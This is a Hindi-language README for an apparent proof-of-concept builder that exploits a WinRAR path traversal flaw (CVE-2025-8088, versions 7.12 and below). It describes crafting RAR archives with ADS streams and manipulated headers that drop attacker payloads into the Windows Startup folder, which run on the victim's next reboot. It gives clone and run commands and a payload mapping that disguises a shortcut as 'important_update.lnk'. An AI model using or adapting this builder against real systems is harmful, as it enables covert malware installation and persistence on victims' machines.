CVE-2025-8088-WinRAR-builder

WinRAR भेद्यता (CVE-2025-8088) के लिए एक POC एक्सप्लॉइट, जो संस्करण 7.12 और उससे नीचे को प्रभावित करता है

🚀 यह कैसे काम करता है

1. अन्य पेलोड के साथ एक Rar एम्बेड बनाता है
2. एकाधिक ADS स्ट्रीम का उपयोग करता है 🔄 - विभिन्न पाथ ट्रैवर्सल गहराई के साथ पेलोड स्ट्रीम जोड़ता है
3. RAR हेडर में हेरफेर करता है ⚙️ - पाथ ट्रैवर्सल भेद्यता का फायदा उठाने के लिए आर्काइव संरचना को संशोधित करता है
4. पेलोड को स्टार्टअप में ड्रॉप करता है 📂 - निकालने पर पेलोड को Windows स्टार्टअप फ़ोल्डर में लिखने का प्रयास करता है

🛠️ उपयोग

1. रिपॉजिटरी क्लोन करें

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. पेलोड तैयार करें

mkdir payloads

• उस फ़ोल्डर में अपने पेलोड जोड़ें (exe, dll, lnk, ...)
• स्क्रिप्ट में PAYLOAD_MAPPING संशोधित करें

# 2. अपने पेलोड को संबंधित गंतव्य से मैप करें
#   प्रारूप: (payloads_dir में फ़ाइल का नाम, target_extract_dest)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # पेलोड 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # पेलोड 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # पेलोड 3
    # अपना खुद का जोड़ें    
]

3. एक्सप्लॉइट चलाएं

python builder.py <decoy_file>

🔄 निष्पादन प्रवाह

1. पीड़ित भेद्य WinRAR (≤7.12) के साथ RAR निकालता है
2. पेलोड गंतव्य फ़ोल्डर में लिखा जाता है, उदाहरण के लिए:

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. अगले रीबूट पर ➡️ पेलोड स्वचालित रूप से निष्पादित होता है

📋 आवश्यकताएँ

• Windows OS 🪟
• Python 3.x 🐍
• WinRAR इंस्टॉल होना चाहिए